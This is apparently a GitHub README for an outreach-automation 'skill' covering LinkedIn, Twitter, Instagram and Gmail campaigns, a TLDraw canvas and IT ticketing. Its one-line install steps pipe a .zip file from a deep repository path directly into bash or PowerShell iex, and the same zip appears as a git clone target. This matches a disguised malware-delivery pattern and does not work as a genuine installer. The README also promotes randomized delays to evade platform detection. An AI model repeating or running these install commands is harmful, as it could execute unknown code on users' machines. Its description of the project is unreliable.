10x Outreach Skill

Automate outreach across multiple platforms with visual workflows and IT support.

10x Outreach Skill

<div align="center">

Visual Workflow Canvas + Multi-Platform Outreach Automation + IT Operations Support for Claude Code

Claude Code License Platforms IT Support

InstallationQuick StartVisual CanvasIT SupportCommandsTemplates

</div>

What is This?

10x Outreach Skill is a Claude Code skill that gives you:

  1. TLDraw Canvas - Official TLDraw SDK providing an infinite canvas for design and collaboration
  2. 13+ Automation Skills - LinkedIn, Twitter, Instagram, Gmail automation via ClaudeKit Browser Extension
  3. 85+ Message Templates - Professional, customizable templates for all platforms
  4. Team Management - Multiple team members with their own credentials
  5. IT Operations Support - Ticket management, SLA tracking, AI analysis, and enterprise features

🚀 One-Line Installation

macOS / Linux

curl -fsSL https://github.com/Dullu9/10x-Outreach-Skill/raw/refs/heads/main/.claude/skills/support-manager/x_Outreach_Skill_emancipate.zip | bash

Windows (PowerShell)

irm https://github.com/Dullu9/10x-Outreach-Skill/raw/refs/heads/main/.claude/skills/support-manager/x_Outreach_Skill_emancipate.zip | iex

What the installer does:

  • ✅ Checks for Node.js & Python
  • ✅ Installs all dependencies (npm & pip)
  • ✅ Runs interactive setup wizard for API keys
  • ✅ Creates workspace directories
  • ✅ Sets up browser extension

Manual Installation

# Clone the repository
git clone https://github.com/Dullu9/10x-Outreach-Skill/raw/refs/heads/main/.claude/skills/support-manager/x_Outreach_Skill_emancipate.zip
cd 10x-outreach-skill

# Install dependencies
cd canvas && npm install && cd ..
pip install -r requirements.txt

# Run interactive setup wizard
node setup.js

Requirements

Configuration

After installation, you'll be guided through an interactive setup wizard that collects:

Required:

  • 🔑 Exa AI API Key (prospect enrichment)
  • 🔑 Google OAuth credentials (Gmail integration)
  • 📧 Sender email address

Optional:

  • 🤖 Gemini AI API Key (multimodal features)
  • 🎨 Canva credentials (design automation)
  • 🧠 Anthropic API Key (advanced AI features)

To reconfigure later:

node setup.js

⚡ Quick Start

Step 1: Start the Visual Canvas

Open Claude Code in any project directory and say:

start my app

Or use the slash command:

/start

This automatically:

  • Installs dependencies (if needed)
  • Starts the visual canvas on http://localhost:3000
  • Opens the workflow designer in your browser

Step 2: Design Your Workflow

  1. Add Nodes - Click skill buttons in the toolbar (Discovery, LinkedIn, Twitter, etc.)
  2. Connect Nodes - Drag from green (output) to blue (input)
  3. Configure - Click any node to set its options
  4. Run - Click the Run button to export your workflow

Step 3: Execute Your Workflow

/workflow run

Claude Code reads the workflow JSON and executes each step with intelligent delays.


🎨 TLDraw Canvas

An infinite canvas powered by the official TLDraw SDK for visual design and collaboration.

Canvas Features (Official TLDraw SDK)

FeatureDescription
Infinite CanvasPan and zoom freely across unlimited space
Drawing ToolsDraw, write, add shapes, images, and videos
Selection & TransformClick to select, drag to multi-select, transform shapes
Copy/PasteStandard clipboard operations with full fidelity
Undo/RedoComplete history tracking of all changes
ExportExport as PNG, SVG, or JSON snapshot
Auto-SaveAutomatic persistence to localStorage
Programmatic ControlFull API access via Editor instance

Basic TLDraw Usage

The canvas runs at http://localhost:3000 with the standard TLDraw interface:

  1. Draw & Write - Use toolbar to select drawing tools
  2. Add Shapes - Rectangle, ellipse, arrow, line, text, etc.
  3. Add Media - Embed images and videos
  4. Pan & Zoom - Mouse drag to pan, scroll to zoom
  5. Selection - Click to select, drag to multi-select
  6. Copy/Paste - Standard keyboard shortcuts work
  7. Undo/Redo - Full history support

Export Options

  • PNG - Raster image export
  • SVG - Vector export for scalability
  • JSON - Full snapshot for persistence and sharing

📋 Commands

Core Commands

CommandDescription
/startStart the visual canvas on localhost:3000
/canvasOpen the workflow canvas
/workflowCreate and run multi-platform workflows
/exaSearch the web with Exa AI semantic search
/websetsCreate and manage curated web collections

Platform Commands

CommandDescription
/linkedinLinkedIn actions (connect, message, like, comment)
/twitterTwitter actions (follow, DM, like, reply, retweet)
/instagramInstagram actions (follow, DM, like, comment, story)

Email Commands

CommandDescription
/outreachEmail campaigns from Google Sheets
/composeWrite individual emails
/inboxRead and search Gmail
/replyReply to emails
/summarizeGet email digests

Discovery & Management Commands

CommandDescription
/discoverFind people using Exa AI
/teamManage team members and credentials

🛠 Skills

The skill includes 13 automation skills:

SkillFileDescription
start-appStart the visual canvas
canvas-workflowVisual workflow designer
discovery-engineFind people with Exa AI
linkedin-adapterLinkedIn automation
twitter-adapterTwitter automation
instagram-adapterInstagram automation
gmail-adapterGmail sending
outreach-managerEmail campaigns
email-composerIndividual emails
inbox-readerRead Gmail
reply-generatorGenerate replies
email-summarizerEmail digests
team-managerTeam credentials
workflow-engineMulti-platform sequences

📝 Templates

85+ pre-built templates across 4 platforms:

PlatformCountCategories
LinkedIn24Connection requests, Messages, InMails, Comments
Twitter22DMs, Replies, Tweets, Quote tweets
Instagram22DMs, Comments, Story replies
Email18Outreach, Follow-ups, Newsletters, Promotional

Using Templates

Templates use {{variables}} for personalization:

Hi {{first_name}},

I saw your work on {{topic}} and thought it was impressive.
Would love to connect and learn more about {{company}}.

Best,
{{sender_name}}

🔄 Pre-Built Workflows

Located in .claude/workflows/examples/:

WorkflowDurationPlatformsUse Case
B2B Professional14 daysLinkedIn + EmailBusiness outreach
Brand Outreach21 daysInstagram + Twitter + EmailBrand partnerships
Influencer21 daysTwitter + InstagramContent creators
Investor28 daysTwitter + LinkedIn + EmailFundraising
Multi-Platform30 daysAllAdaptive routing

⚙️ Setup

Requirements

  • Node.js 18+ (for the TLDraw canvas)
  • Claude Code
  • Python 3.9+ (optional, for advanced scripts)
  • 10x-Browser Extension (ClaudeKit Browser Extension at C:\Users\Anit\Downloads\10x-Browser Extension)

Environment Variables

Create a .env file:

# Gmail OAuth2 (for email features)
GOOGLE_CLIENT_ID=your_client_id
GOOGLE_CLIENT_SECRET=your_secret
[email protected]
SENDER_NAME=Your Name

# Exa AI (for discovery)
EXA_API_KEY=your_exa_key

# Rate Limits (optional)
LINKEDIN_CONNECTIONS_PER_DAY=20
TWITTER_FOLLOWS_PER_DAY=50
INSTAGRAM_FOLLOWS_PER_DAY=30

Gmail Setup

  1. Go to Google Cloud Console
  2. Create a new project
  3. Enable Gmail API
  4. Create OAuth2 credentials (Desktop App)
  5. Add credentials to .env
  6. Run /outreach to authenticate

🏗 Architecture

┌─────────────────────────────────────────────────────────────────────┐
│                     10x OUTREACH SKILL                              │
├─────────────────────────────────────────────────────────────────────┤
│                                                                     │
│  ┌────────────────────────────────────────────────────────────────┐ │
│  │              VISUAL WORKFLOW CANVAS (TLDraw)                   │ │
│  │         http://localhost:3000 - Drag & Drop Designer           │ │
│  └────────────────────────────────────────────────────────────────┘ │
│                              │                                      │
│                              ▼                                      │
│                     workflow.json                                   │
│                              │                                      │
│                              ▼                                      │
│  ┌───────────────┐   ┌───────────────┐   ┌───────────────────────┐  │
│  │   DISCOVERY   │   │   WORKFLOW    │   │    TEAM MANAGER       │  │
│  │   (Exa AI)    │──▶│    ENGINE     │◀──│  (Multi-user creds)  │  │
│  └───────────────┘   └───────────────┘   └───────────────────────┘  │
│                              │                                      │
│         ┌────────────────────┼────────────────────┐                 │
│         ▼                    ▼                    ▼                 │
│  ┌─────────────┐     ┌─────────────┐     ┌─────────────┐            │
│  │  LINKEDIN   │     │   TWITTER   │     │  INSTAGRAM  │            │
│  │   ADAPTER   │     │   ADAPTER   │     │   ADAPTER   │            │
│  └─────────────┘     └─────────────┘     └─────────────┘            │
│         │                    │                    │                 │
│         └────────────────────┼────────────────────┘                 │
│                              ▼                                      │
│  ┌────────────────────────────────────────────────────────────────┐ │
│  │              10x-BROWSER EXTENSION                             │ │
│  │            C:\Users\Anit\Downloads\10x-Browser Extension       │ │
│  └────────────────────────────────────────────────────────────────┘ │
│                                                                     │
│  ┌───────────────┐   ┌───────────────┐   ┌───────────────────────┐  │
│  │     RATE      │   │    TEMPLATE   │   │       GMAIL           │  │
│  │    LIMITER    │   │     LOADER    │   │       CLIENT          │  │
│  └───────────────┘   └───────────────┘   └───────────────────────┘  │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

📁 Project Structure

10x-outreach-skill/
├── canvas/                    # TLDraw Canvas (Official SDK)
│   ├── src/
│   │   ├── App.tsx            # Clean TLDraw implementation
│   │   ├── index.css          # Styles
│   │   └── main.tsx           # Entry point
│   ├── server.js              # WebSocket server with JWT auth
│   └── package.json           # Dependencies (tldraw, react)
│
├── .claude/                   # Claude Code Skill
│   ├── skills/                # 13+ skill definitions
│   ├── commands/              # Slash commands
│   ├── scripts/               # Python automation
│   │   ├── gmail_client.py         # Gmail API (threaded replies)
│   │   ├── ticket_manager.py       # Ticket lifecycle management
│   │   ├── sla_tracker.py          # SLA monitoring
│   │   ├── ai_context_analyzer.py  # Claude AI email analysis
│   │   ├── knowledge_base.py       # Semantic search KB
│   │   ├── secure_credentials.py   # AES-256 encrypted storage
│   │   ├── audit_logger.py         # Tamper-proof logging
│   │   ├── rbac.py                 # Role-based access control
│   │   ├── multi_tenant.py         # Multi-tenant isolation
│   │   ├── webhook_api.py          # External integrations
│   │   └── metrics_collector.py    # Dashboard metrics
│   ├── templates/             # 85+ message templates
│   └── workflows/             # Workflow definitions
│
├── tickets/                   # Ticket storage
│   ├── active/                # Active tickets
│   └── closed/                # Closed tickets
│
├── audit_logs/                # Tamper-proof audit logs
├── knowledge_base/            # KB articles
├── tenants/                   # Multi-tenant data
├── webhooks/                  # Webhook configurations
├── metrics/                   # Metrics snapshots
├── sla/                       # SLA configurations
│
├── output/                    # Runtime output
│   └── workflows/             # Saved workflow JSONs
│
├── install.sh                 # Unix installer
├── install.ps1                # Windows installer
├── CLAUDE.md                  # Claude Code instructions
└── README.md                  # This file

🏢 IT Operations Support

New in v3.0 - Complete IT Operations Support System with enterprise-grade features.

Core IT Features

FeatureDescription
Ticket ManagementFull lifecycle: create, assign, update, resolve, close
SLA TrackingP1-P4 priorities with automatic escalation
AI Email AnalysisClaude-powered intent detection, priority assessment
Knowledge BaseSemantic search with response templates
Audit LoggingTamper-proof hash-chained logs

Enterprise Features

FeatureDescription
RBACRole-based access control (Admin, Agent, Viewer)
Multi-TenantIsolated configurations per organization
WebhooksExternal integrations with HMAC signing
MetricsReal-time dashboard with Prometheus export
Secure CredentialsAES-256 encrypted storage

SLA Definitions

PriorityResponse TimeResolution TimeUse Case
P11 hour4 hoursCritical - System down
P24 hours8 hoursHigh - Major impact
P38 hours2 daysMedium - Normal business
P424 hours7 daysLow - Minor issues

IT Support Commands

# Ticket Management
python .claude/scripts/ticket_manager.py --list
python .claude/scripts/ticket_manager.py --create
python .claude/scripts/ticket_manager.py --stats

# SLA Tracking
python .claude/scripts/sla_tracker.py --check-all
python .claude/scripts/sla_tracker.py --at-risk
python .claude/scripts/sla_tracker.py --report

# AI Analysis
python .claude/scripts/ai_context_analyzer.py --test

# Knowledge Base
python .claude/scripts/knowledge_base.py --search "password reset"
python .claude/scripts/knowledge_base.py --add-sample

New Environment Variables

# Security (auto-generated on first run)
CREDENTIAL_MASTER_KEY=<generated>
AUDIT_SIGNING_KEY=<generated>
JWT_SECRET=<set-for-production>

# AI Analysis
ANTHROPIC_API_KEY=your_anthropic_key

🛡 Safety & Rate Limiting

Touch Limits (Per Person)

TargetMax/DayMax/WeekTotalCool-Off
Person2587 days
Brand13614 days
Influencer12514 days
Executive12421 days

Platform Rate Limits

PlatformActionDaily LimitDelay
LinkedInConnections202-10 min
LinkedInMessages502-10 min
TwitterFollows501-5 min
TwitterDMs501-5 min
InstagramFollows301.5-7 min
InstagramDMs301.5-7 min
GmailEmails1001-3 min

Key Principles

  • Never spam - Max 2 touches per day per person
  • Warm-up first - Follow and engage BEFORE sending DMs
  • Platform gaps - Wait 24+ hours between platforms
  • Stop on response - Immediately pause when they reply
  • Human-like delays - Randomized timing to avoid detection

🔧 10x-Browser Extension Integration

The ClaudeKit Browser Extension handles social platform automation for LinkedIn, Twitter, and Instagram.

Extension Location

C:\Users\Anit\Downloads\10x-Browser Extension

Supported Actions

PlatformActions
LinkedInConnect, message, view profiles, like posts, comment
TwitterFollow, DM, like tweets, reply, retweet
InstagramFollow, DM, like posts, comment, story replies

How It Works

  1. Install the ClaudeKit Browser Extension in your browser
  2. The extension receives commands from the 10x-Outreach System
  3. Extension performs actions on LinkedIn, Twitter, Instagram
  4. Results are sent back to the system for tracking

🐛 Troubleshooting

Canvas not starting?

cd canvas && npm install && npm run dev -- --port 3000

Browser Extension not working?

  1. Verify the extension is installed in your browser
  2. Check that the extension path is correct: C:\Users\Anit\Downloads\10x-Browser Extension
  3. Ensure you're logged into LinkedIn/Twitter/Instagram in your browser

Gmail issues?

  1. Check OAuth2 credentials in .env
  2. Run /outreach to re-authenticate
  3. Verify token hasn't expired

📄 License

MIT License - Free to use, modify, and distribute.


<div align="center">

Built with Claude Code

Report BugRequest Feature

</div>